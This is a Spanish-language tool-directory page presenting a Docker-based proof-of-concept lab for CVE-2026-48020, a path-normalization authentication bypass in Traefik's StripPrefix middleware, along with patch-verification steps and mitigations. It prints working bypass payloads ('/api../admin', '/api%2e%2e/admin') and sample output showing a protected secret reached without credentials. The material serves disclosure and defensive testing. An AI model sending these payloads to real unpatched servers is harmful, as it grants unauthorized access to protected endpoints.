Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization — Laboratorio de prueba de concepto para CVE-2026-48020, que demuestra una omisión crítica de autenticación en el middleware StripPrefix de Traefik mediante normalización de rutas. Incluye un entorno de reproducción basado en Docker y scripts de verificación. | Kitploit
Herramientas/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Laboratorio de prueba de concepto para CVE-2026-48020, que demuestra una omisión crítica de autenticación en el middleware StripPrefix de Traefik mediante normalización de rutas. Incluye un entorno de reproducción basado en Docker y scripts de verificación.

Ver Repositorio
hace 1 mesAún no revisado

CVE-2026-48020 — Bypass de autenticación a nivel de ruta en StripPrefix de Traefik (PoC)

Un proof of concept autocontenido para CVE-2026-48020, un bypass de autenticación/autorización a nivel de ruta en el middleware StripPrefix de Traefik causado por la normalización de rutas que ocurre después de que se toman las decisiones de enrutamiento.

Una solicitud como GET /api../admin se enruta a través de un router público PathPrefix(\/api`)en el momento del enrutamiento (por lo que el middlewarebasicAuthdel router protegido nunca se adjunta), pero después de queStripPrefixelimina/apiyreq.URL.JoinPath()de Go normaliza el resto/../admin, el backend recibe /admin` — una ruta que se suponía debía estar protegida.

Diseño del laboratorio

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

Archivos

Reproducir

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

Salida esperada en un Traefik vulnerable

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

En un Traefik parcheado (v3.7.3)

Los payloads de bypass devuelven 404 en lugar de 200. El parche (PR #13215 de Traefik) rechaza cualquier solicitud cuya ruta difiera después de la normalización de StripPrefix/StripPrefixRegex, por lo que la reescritura de /../admin es detectada y rechazada.

Verificar la corrección

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

Mitigaciones (sin actualizar)

Evitar que la ruta pública coincida con la forma de traversal en absoluto:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

Divulgación

Reportado a los mantenedores de Traefik por WonYun / kyun0 (GitHub: H4ck2); corregido en GHSA-xf64-8mw2-4gr2. Este laboratorio PoC es una reproducción independiente creada para el artículo adjunto: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

Descargar herramienta
CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
AfectadoTraefik <= v2.11.46, <= v3.6.17, <= v3.7.1
Corregido env2.11.48, v3.6.19, v3.7.3
ArchivoPropósito
docker-compose.ymlLevanta un Traefik vulnerable (v3.7.1) + un backend en Python
dynamic.ymlConfiguración dinámica de Traefik: una ruta pública /api con strip y una ruta protegida /admin,/internal detrás de basicAuth
backend.pyBackend pequeño que devuelve un secreto para las rutas protegidas
poc.pyEnvía los payloads de bypass e informa qué rutas se alcanzaron